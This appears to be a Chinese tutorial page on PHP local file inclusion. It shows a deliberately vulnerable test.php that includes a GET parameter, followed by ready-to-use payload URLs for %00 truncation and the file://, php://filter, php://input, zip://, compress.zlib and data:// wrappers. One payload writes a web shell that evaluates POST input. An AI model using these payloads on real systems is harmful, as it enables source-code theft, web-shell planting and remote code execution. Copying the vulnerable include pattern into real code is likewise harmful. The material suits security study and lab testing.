test.php
<?php
include($_GET['file'])
?>
情况一:不需要截断:
test.php情况二:需要截断:
<?php
include($_GET['file'].’.php’)
?>
php<=5.2
%00截断
【file://协议】
使用方法:
file://协议file:// [文件的绝对路径和文件名]
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./test.php
base64read
php://input
php://input<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
写shell
【zip://协议】
http://localhost/test.php?file=zip://D:/phpStudy/WWW/txf.zip%23txf.txt
zip
【bzip2://协议】
http://localhost/test.php?file=compress.zlib://./txf.txt
bzip2
【data://协议】
http://localhost/test.php?file=data://text/plain,<?php phpinfo()?>
http://localhost/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://localhost/test.php?file=data:text/plain,<?php phpinfo()?>
http://localhost/test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data://协议
PHP封装协议
网友评论